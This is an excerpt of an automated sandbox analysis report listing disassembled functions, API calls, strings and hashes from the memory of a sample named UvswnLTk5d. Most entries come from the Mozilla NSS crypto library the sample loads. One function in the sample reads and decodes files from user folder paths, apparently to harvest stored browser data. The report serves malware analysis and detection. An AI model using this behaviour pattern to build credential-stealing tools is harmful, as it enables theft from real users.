memcpy.VCRUNTIME140(?,?,?), ref: 6CF28F39
memset.VCRUNTIME140(?,00000000,?), ref: 6CF28F4A
memset.VCRUNTIME140(?,00000000,?), ref: 6CF28F5B
PR_Unlock.NSS3(?), ref: 6CF28F72
PR_Unlock.NSS3(?), ref: 6CF28F82

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memset$memcpy$Unlock$AllocateArenaCriticalEnterSectionValuecallocfree
String ID:
API String ID: 1569127702-0
Opcode ID: c5a5a1fdc7c11c558e2789e62b6a3058cec2f62947bb71c18f01fad5c2db2381
Instruction ID: 22e62fb95faeacc2a459e5d10ab084b9e742e7116daadb8908113976d8d45cff
Opcode Fuzzy Hash: c5a5a1fdc7c11c558e2789e62b6a3058cec2f62947bb71c18f01fad5c2db2381
Instruction Fuzzy Hash: EC5125B3D012119FEB108FA8CC84AABBBB9EF45318F15412AEC089B700E735ED4487E1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF4CE90 Relevance: 22.6, APIs: 15, Instructions: 129COMMON

Download Yara Rule

APIs

PK11_DoesMechanism.NSS3(?,00000132), ref: 6CF4CE9E
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CF4CEBB
PK11_DoesMechanism.NSS3(?,00001081), ref: 6CF4CED8
PK11_DoesMechanism.NSS3(?,00000551), ref: 6CF4CEF5
PK11_DoesMechanism.NSS3(?,00000651), ref: 6CF4CF12
PK11_DoesMechanism.NSS3(?,00000321), ref: 6CF4CF2F
PK11_DoesMechanism.NSS3(?,00000121), ref: 6CF4CF4C
PK11_DoesMechanism.NSS3(?,00000400), ref: 6CF4CF69
PK11_DoesMechanism.NSS3(?,00000341), ref: 6CF4CF86
PK11_DoesMechanism.NSS3(?,00000311), ref: 6CF4CFA3
PK11_DoesMechanism.NSS3(?,00000301), ref: 6CF4CFBC
PK11_DoesMechanism.NSS3(?,00000331), ref: 6CF4CFD5
PK11_DoesMechanism.NSS3(?,00000101), ref: 6CF4CFEE
PK11_DoesMechanism.NSS3(?,00000141), ref: 6CF4D007
PK11_DoesMechanism.NSS3(?,00001008), ref: 6CF4D021

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: DoesK11_Mechanism
String ID:
API String ID: 622698949-0
Opcode ID: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction ID: 602c90987eeb3df77313ba6b4bbb2a3d7570bcdbab5fd1a486c4d700dc56eb97
Opcode Fuzzy Hash: c609708ecc05f08e56bb69c1b70e37aefe8df33e1a02ba745add6446eb52fb33
Instruction Fuzzy Hash: 42314571B5291027EF0D555BAD21BDE344A4B7630FF440038F90AE6BC1F6869A2703E9

Uniqueness

Uniqueness Score: -1.00%

Function 6CE9DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CE9DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CE9DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CE9DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CE9DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CE9DECD

Strings

9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CE9DF6D, 6CE9DFCC, 6CE9DFDD
%s at line %d of [%.10s], xrefs: 6CE9DF7C, 6CE9DFEC
database corruption, xrefs: 6CE9DF77, 6CE9DFE7

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: bc3dbe6f74f8ec356d8caec604691313dfba20f5de703358403e82eafb26241f
Instruction ID: 6c988d212dc9d1ab746db0d327fd9bb2835ad0f314591e4a59d1dd3fd69b7c1c
Opcode Fuzzy Hash: bc3dbe6f74f8ec356d8caec604691313dfba20f5de703358403e82eafb26241f
Instruction Fuzzy Hash: A2A1E775A043219FD710CF29C481B6AB7F5EF85308F29892DF8898BB51D730EA56CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6CF5EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CF5EE0B

Part of subcall function 6CF70BE0: malloc.MOZGLUE(6CF68D2D,?,00000000,?), ref: 6CF70BF8
Part of subcall function 6CF70BE0: TlsGetValue.KERNEL32(6CF68D2D,?,00000000,?), ref: 6CF70C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CF5EEE1

Part of subcall function 6CF51D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CF51D7E
Part of subcall function 6CF51D50: EnterCriticalSection.KERNEL32(?), ref: 6CF51D8E
Part of subcall function 6CF51D50: PR_Unlock.NSS3(?), ref: 6CF51DD3

TlsGetValue.KERNEL32 ref: 6CF5EE51
EnterCriticalSection.KERNEL32(?), ref: 6CF5EE65
PR_Unlock.NSS3(?), ref: 6CF5EEA2
free.MOZGLUE(?), ref: 6CF5EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CF5EED0
PR_Unlock.NSS3(?), ref: 6CF5EF48
free.MOZGLUE(?), ref: 6CF5EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CF5EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CF5EFA4
free.MOZGLUE(?), ref: 6CF5EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CF5F055
free.MOZGLUE(?), ref: 6CF5F060

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 2f1d150557478d71006a00e1df340fbcf15ba1d599409b9c71ac7e9e402bf287
Instruction ID: c5da5584ef6847aa9800f160ec4656e13e66f9b5efe515c8c517256f4e01d34b
Opcode Fuzzy Hash: 2f1d150557478d71006a00e1df340fbcf15ba1d599409b9c71ac7e9e402bf287
Instruction Fuzzy Hash: ED8191B1A00209ABDF00DFA5DC85BEE7BB5BF19318F554024EA19A3711E735E924CBE1

Uniqueness

Uniqueness Score: -1.00%

Function 6CF24CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CF24D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CF24D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CF24DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CF24E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CF24E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CF24E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CF24E85
DER_Encode_Util.NSS3(?,?,6D0705A4,00000000), ref: 6CF24EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CF24F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CF24F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF24F62
PORT_FreeArena_Util.NSS3(?,?), ref: 6CF24F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CF24F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CF24FC8

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: b1ec06c709a3ad87f5d1ab332d7d3b41e5d798f18225b11778af8ec2aee29aee
Instruction ID: 8892f45951bc264132ce789772642f9faf86ee37dfff59354e5b0043f116ad11
Opcode Fuzzy Hash: b1ec06c709a3ad87f5d1ab332d7d3b41e5d798f18225b11778af8ec2aee29aee
Instruction Fuzzy Hash: 3F81A272908301AFE711CFA5D840B9BBBE4AFC4358F14852DF958DB641E7B5E904CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CF65C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CF65C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CF65CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CF65CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CF65D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CF65D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CF65D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CF65E18
TlsGetValue.KERNEL32 ref: 6CF65E5E
EnterCriticalSection.KERNEL32(?), ref: 6CF65E72
PR_Unlock.NSS3(?), ref: 6CF65E8B

Part of subcall function 6CF5F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CF5F854
Part of subcall function 6CF5F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CF5F868
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CF5F882
Part of subcall function 6CF5F820: free.MOZGLUE(04C483FF,?,?), ref: 6CF5F889
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CF5F8A4
Part of subcall function 6CF5F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CF5F8AB
Part of subcall function 6CF5F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CF5F8C9
Part of subcall function 6CF5F820: free.MOZGLUE(280F10EC,?,?), ref: 6CF5F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CF65D3D
d, xrefs: 6CF65C36

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: e8517b7e6faa75e6808f209f57d729b15c4c1b346f6299892c8119fff4de590f
Instruction ID: d00671597cb9c1eb1aa0cc0c92e34c7dcd460ae0b80ffa15a349110374b37da5
Opcode Fuzzy Hash: e8517b7e6faa75e6808f209f57d729b15c4c1b346f6299892c8119fff4de590f
Instruction Fuzzy Hash: 6571D5B1E041019BEF109F36DC45BAB3675AF5631CF144135E809AAF43EB32E919C792

Uniqueness

Uniqueness Score: -1.00%

Function 6CFA1D10 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 192memoryCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CFA1D6B
PK11_FreeSymKey.NSS3(00000000), ref: 6CFA1D75
PORT_ZAlloc_Util.NSS3(00000028), ref: 6CFA1DC4
memcpy.VCRUNTIME140(?,?,?), ref: 6CFA1DFC
PK11_CreateContextBySymKey.NSS3(00000000,82000104,?,?), ref: 6CFA1EB1
PK11_CreateContextBySymKey.NSS3(00000000,82000105,?,?), ref: 6CFA1ECE
PK11_FreeSymKey.NSS3 ref: 6CFA1EE0
PK11_FreeSymKey.NSS3(00000000), ref: 6CFA1EF9
PK11_DestroyContext.NSS3(00000000,?), ref: 6CFA1F0A
PK11_DestroyContext.NSS3(?,?), ref: 6CFA1F1C
free.MOZGLUE(00000000), ref: 6CFA1F25

Strings

iv, xrefs: 6CFA1E04

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: K11_$Context$Free$CreateDestroy$Alloc_ErrorUtilfreememcpy
String ID: iv
API String ID: 3943584448-1283462680
Opcode ID: 23254d0325362a351ab4c61d4da9516ce3d8f779b91706b2a9b81c9bc0208f67
Instruction ID: c790e834db8d3144fb1f446a9219f80bc1fe39d51b9c0921a1684cad9d2c755c
Opcode Fuzzy Hash: 23254d0325362a351ab4c61d4da9516ce3d8f779b91706b2a9b81c9bc0208f67
Instruction Fuzzy Hash: 4761A1B1904211EBE714DF54DC80EABB7E8EF88308F05852DF99897741E730E959CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6CF56C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CF5781D,00000000,6CF4BE2C,?,6CF56B1D,?,?,?,?,00000000,00000000,6CF5781D), ref: 6CF56C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CF5781D,?,6CF4BE2C,?), ref: 6CF56C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CF5781D), ref: 6CF56C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CF56C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CF56C96

Part of subcall function 6CF01240: TlsGetValue.KERNEL32(00000040,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01267
Part of subcall function 6CF01240: EnterCriticalSection.KERNEL32(?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF0127C
Part of subcall function 6CF01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF01291
Part of subcall function 6CF01240: PR_Unlock.NSS3(?,?,?,?,6CF0116C,NSPR_LOG_MODULES), ref: 6CF012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CF56CAA

Strings

rdb:, xrefs: 6CF56C69
dbm, xrefs: 6CF56CA4
NSS_DEFAULT_DB_TYPE, xrefs: 6CF56C91
dbm:, xrefs: 6CF56C3A
sql:, xrefs: 6CF56C52
extern:, xrefs: 6CF56C7E

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: a8ca1f691c80d92171310a3ab1b0938e808a9c3966ee1729fb58f0537850bfe6
Instruction ID: a4cab5ad4911816f9a9844756f2301ae15d5282b7207ce087994e6e8f58b031e
Opcode Fuzzy Hash: a8ca1f691c80d92171310a3ab1b0938e808a9c3966ee1729fb58f0537850bfe6
Instruction Fuzzy Hash: E101A2E1B023A227FA0017796F4EF36355C9F9515EF440031FF28E1283EB96E93441A9

Uniqueness

Uniqueness Score: -1.00%

Function 00411F30 Relevance: 19.7, APIs: 13, Instructions: 193stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00411F4E
memset.MSVCRT ref: 00411F65

Part of subcall function 004154E0: SHGetFolderPathA.SHELL32(00000000,?,00000000,00000000,?,?,000003E8), ref: 0041550B

lstrcat.KERNEL32(?,00000000), ref: 00411F9C
lstrcat.KERNEL32(?,02DDB598), ref: 00411FBB
lstrcat.KERNEL32(?,?), ref: 00411FCF
lstrcat.KERNEL32(?,02DDAA20), ref: 00411FE3

Part of subcall function 00416D40: lstrcpy.KERNEL32(0041D6E3,00000000), ref: 00416D88

Part of subcall function 00415490: GetFileAttributesA.KERNEL32(00000000,?,0040E9F4,?,00000000,?,00000000,0041D76E,0041D76B), ref: 0041549F

Part of subcall function 004096C0: StrStrA.SHLWAPI(00000000,02DDA708), ref: 0040971B
Part of subcall function 004096C0: memcmp.MSVCRT ref: 00409774

Part of subcall function 004093A0: CreateFileA.KERNEL32(00000000,80000000,?,00000000,00000003,00000000,00000000), ref: 004093CC
Part of subcall function 004093A0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 004093F1
Part of subcall function 004093A0: LocalAlloc.KERNEL32(00000040,?), ref: 00409411
Part of subcall function 004093A0: ReadFile.KERNEL32(000000FF,?,00000000,'@,00000000), ref: 0040943A
Part of subcall function 004093A0: LocalFree.KERNEL32('@), ref: 00409470
Part of subcall function 004093A0: CloseHandle.KERNEL32(000000FF), ref: 0040947A

Part of subcall function 00415AC0: GlobalAlloc.KERNEL32(00000000,00412087,00412087), ref: 00415AD3

StrStrA.SHLWAPI(?,02DDB640), ref: 0041209D
GlobalFree.KERNEL32(?), ref: 00412199

Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 004094CF
Part of subcall function 004094A0: LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
Part of subcall function 004094A0: CryptStringToBinaryA.CRYPT32(?,00000000,?,00000000,00404BAE,00000000,00000000), ref: 0040950A
Part of subcall function 004094A0: LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Part of subcall function 004097F0: memcmp.MSVCRT ref: 0040980B
Part of subcall function 004097F0: memset.MSVCRT ref: 0040983E
Part of subcall function 004097F0: LocalAlloc.KERNEL32(00000040,?), ref: 0040988E

lstrcat.KERNEL32(?,00000000), ref: 0041212A
StrCmpCA.SHLWAPI(?,0041D4AB,?,?,?,?,000003E8), ref: 00412147
lstrcat.KERNEL32(00000000,00000000), ref: 00412159
lstrcat.KERNEL32(00000000,?), ref: 0041216C
lstrcat.KERNEL32(00000000,0041D840), ref: 0041217B

Memory Dump Source

Source File: 00000000.00000002.2175825938.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2175825938.0000000000448000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.000000000044B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2175825938.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_UvswnLTk5d.jbxd

Yara matches

Similarity

API ID: lstrcat$Local$AllocFile$Freememset$BinaryCryptGlobalStringmemcmp$AttributesCloseCreateFolderHandlePathReadSizelstrcpy
String ID:
API String ID: 1812951797-0
Opcode ID: 6a6660ebd4b4c298534ffe5d62d23c4bfaa060ead936e33dae1d320fb4bc6714
Instruction ID: d5c3215e2bd1f08faed5fb03d7604f0585b4cbbeb5c4b7daf79ee1030fe867fa
Opcode Fuzzy Hash: 6a6660ebd4b4c298534ffe5d62d23c4bfaa060ead936e33dae1d320fb4bc6714
Instruction Fuzzy Hash: B97158B6900618BBCB24EBE0DD49FDE7779AF88304F004599F60997181EA78DB94CF94

Uniqueness

Uniqueness Score: -1.00%

Function 6CF0ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CF0ACE2
malloc.MOZGLUE(00000001), ref: 6CF0ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CF0AD02
TlsGetValue.KERNEL32 ref: 6CF0AD3C
calloc.MOZGLUE(?,?), ref: 6CF0AD8C
PR_Unlock.NSS3 ref: 6CF0ADC0
free.MOZGLUE(00000000), ref: 6CF0AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CF0AE58
free.MOZGLUE(00000000), ref: 6CF0AE69
free.MOZGLUE(?), ref: 6CF0AE78
PR_Unlock.NSS3 ref: 6CF0AE8C
free.MOZGLUE(?), ref: 6CF0AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CF0AEC7

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197376112.000000006D075000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ce90000_UvswnLTk5d.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 799809603b30748a60293602201e89a4c0a09f9aa4c4313ec0a66cd4d56d0d30
Instruction ID: 2ddfdee37aba8896709d659774e8bd4a8eb0ac791665e4835dc9e1502ea9bf5e
Opcode Fuzzy Hash: 799809603b30748a60293602201e89a4c0a09f9aa4c4313ec0a66cd4d56d0d30
Instruction Fuzzy Hash: 6351A0B1E022269BDF00DF69CC617AF7BB4BB06B09F140129D814B7B40D331A914DBD6

Uniqueness

Uniqueness Score: -1.00%

Function 6CF4ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CF4ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CF4AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF4AE29

Part of subcall function 6D02D930: PL_strncpyz.NSS3(?,?,?), ref: 6D02D963

PR_LogPrint.NSS3(?,00000000), ref: 6CF4AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CF4AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CF4AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CF4AEA0

Strings

hKey = 0x%x, xrefs: 6CF4AE62, 6CF4AE72
C_MessageSignInit, xrefs: 6CF4ADE1
hSession = 0x%x, xrefs: 6CF4AE01, 6CF4AE11
(CK_INVALID_HANDLE), xrefs: 6CF4AE1F, 6CF4AE80

Memory Dump Source

Source File: 00000000.00000002.2197132313.000000006CE91000.00000020.00000001.01000000.00000007.sdmp, Offset: 6CE90000, based on PE: true

Associated: 00000000.00000002.2197115823.000000006CE90000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197263120.000000006D02F000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197303191.000000006D06E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197327244.000000006D06F000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 00000000.00000002.2197350533.000000006D070000.00000004.00000001.01000000.00000007.sdmpDownload File
